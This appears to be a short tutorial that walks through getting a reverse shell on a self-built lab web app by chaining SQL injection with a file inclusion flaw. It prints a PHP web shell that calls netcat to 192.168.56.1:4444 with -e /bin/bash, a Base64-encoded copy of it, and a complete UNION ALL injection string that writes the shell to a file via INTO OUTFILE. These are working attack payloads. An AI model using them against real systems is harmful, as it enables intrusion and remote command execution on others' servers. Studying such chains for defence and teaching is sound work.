From SQL to shell access
SQL Injection is one of commonly known SQL vulnerabilities. It’s out of ordinary to see an unsecured implementation, it’s still possible to find it though. For me, one of the most interesting operations what can be performed using this weakness is getting an access to shell.
What we need:
- SQL Injection vulnerability
- File Inclusion vulnerability
- Some luck with privileges on sever
I created a simple app which can give us user info by id.
Here is the result, if we submit 1:
If we look at the link, it’s not hard to tell the data is passed by GET method.
Fast check in sqlmap shows us that the app has a vulnerability.
Now, performing manual test:
In seconds, we can discover methods to get a whole table, but we are here for shell access, not data.
Testing with UNION ALL, shows us we can input something to display in second and third column
however, we don’t want to display data, but write a file. In MySQL we can use:
INTO OUTFILE
Now for some testing:
Now we need file inclusion vulnerability. Luckily, I have already coded one:
GET method to attach file, so we can, for example, display the location of host file
/etc/hosts
Now, I tried to display saved file and it’s possible to have no rights to open the file, but with some luck and trying some other locations for example /tmp etc., it’s possible to figure this out. Also, if it’s configured that website server doesn’t have access to the one created by mysql files, it may be impossible to bypass this.
But, if we are lucky and find how to include a file, it’s straight way forward to gain shell access. Luckily for me, the administrator (yeah that was me), misconfigured the access data.
Now we need to upload something that is more dangerous. For example,
<?php shell_exec("nc 192.168.56.1 4444 –e /bin/bash"); ?>
PHP called netcat is trying to connect with shell access to our listener. But some characters in this line make it difficult to be used in SQL Injection, so we will convert this to Base64 and use MySQL function
from_base64()
Full SQL exploit
-1' union all select 1, from_base64("PD9waHAgc2hlbGxfZXhlYygibmMgMTkyLjE2OC41Ni4xIDQ0NDQgLWUgL2Jpbi9iYXNoIik7ID8+"),3 INTO OUTFILE '/var/lib/mysql-files/hack.php' #
Let’s upload it.
Now we need to start listening in netcat.
And finally, include the file to open with PHP interpreter. Now the website will freeze during loading. But if we look in the netcat listener, we have shell access.
Some simple commands proving this work: